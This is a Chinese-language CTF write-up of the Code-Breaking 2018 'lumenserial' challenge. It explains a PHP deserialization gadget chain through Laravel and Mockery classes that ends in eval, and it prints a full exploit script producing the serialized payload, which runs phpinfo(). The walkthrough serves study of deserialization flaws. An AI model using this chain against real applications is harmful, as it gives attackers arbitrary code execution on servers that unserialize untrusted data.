昨天p牛在小密圈发布了Code-Breaking 2018
lumenserial
题目的官方反序列化payload,在这里简单分析一下。
首先入口点利用的依然是类Illuminate\Broadcasting\PendingBroadcast
的__destruct
方法。
接着调用的是类Illuminate\Bus\Dispatcher
的dispatch
方法
这里需要进入$this->dispatchToQueue
,因此需要满足if条件,第一个条件就不用说了,跟进$this->commandShouldBeQueued
需要$command
也就是$this->event
实现了ShouldQueue
接口。
我们可以通过全局搜索来找,具体使用哪个类可能还需要根据后面的利用条件来选择,p牛这里用的是Illuminate\Broadcasting\BroadcastEvent
继续跟进$this->dispatchToQueue($command)
,可以看到这里有一个任意方法调用。方法可控,参数$connection
等于$command->connection
这里p牛利用的是类Mockery\Loader\EvalLoader
的load
方法
可以看到下面的eval
可以利用,但我们需要先绕过if条件,也就是让class_exists($definition->getClassName(), false)
返回false。这里的$definition
也就是$this->event->connection
的类型必须是Mockery\Generator\MockDefinition
类的对象。
<?phpnamespace Mockery\Generator;class MockDefinition{
protected $config;
protected $code;
public function __construct(MockConfiguration $config, $code)
{
if (!$config->getName()) {
throw new \InvalidArgumentException("MockConfiguration must contain a name");
}
$this->config = $config;
$this->code = $code;
}
public function getConfig()
{
return $this->config;
}
public function getClassName()
{
return $this->config->getName();
}
public function getCode()
{
return $this->code;
}}
这里的getClassName
方法返回的是$this->config->getName()
,我们只需要找到一个含有getName
方法且返回值可控的类,让其返回一个不存在的类名即可。
类Mockery\Generator\MockConfiguration
最后进入eval("?>" . $definition->getCode());
,getCode的返回值我们依然可控。
最终实现任意代码执行。
exp:
<?phpnamespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $event;
protected $events;
public function __construct($events,$event)
{
$this->events = $events;
$this->event = $event;
}
}}namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}}namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}}namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code = '<?php phpinfo();?>';
public function __construct($config)
{
$this->config = $config;
}
}}namespace Mockery\Generator{
class MockConfiguration
{
protected $name = '1234';
}}namespace Mockery\Loader{
class EvalLoader
{
public function load(MockDefinition $definition)
{
}
}}namespace{
$Mockery = new Mockery\Loader\EvalLoader();
$queueResolver = array($Mockery, "load");
$MockConfiguration = new Mockery\Generator\MockConfiguration();
$MockDefinition = new Mockery\Generator\MockDefinition($MockConfiguration);
$BroadcastEvent = new Illuminate\Broadcasting\BroadcastEvent($MockDefinition);
$Dispatcher = new Illuminate\Bus\Dispatcher($queueResolver);
$PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($Dispatcher,$BroadcastEvent);
echo urlencode(serialize($PendingBroadcast));}?>
ps: phpstorm真香
转自先知社区
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.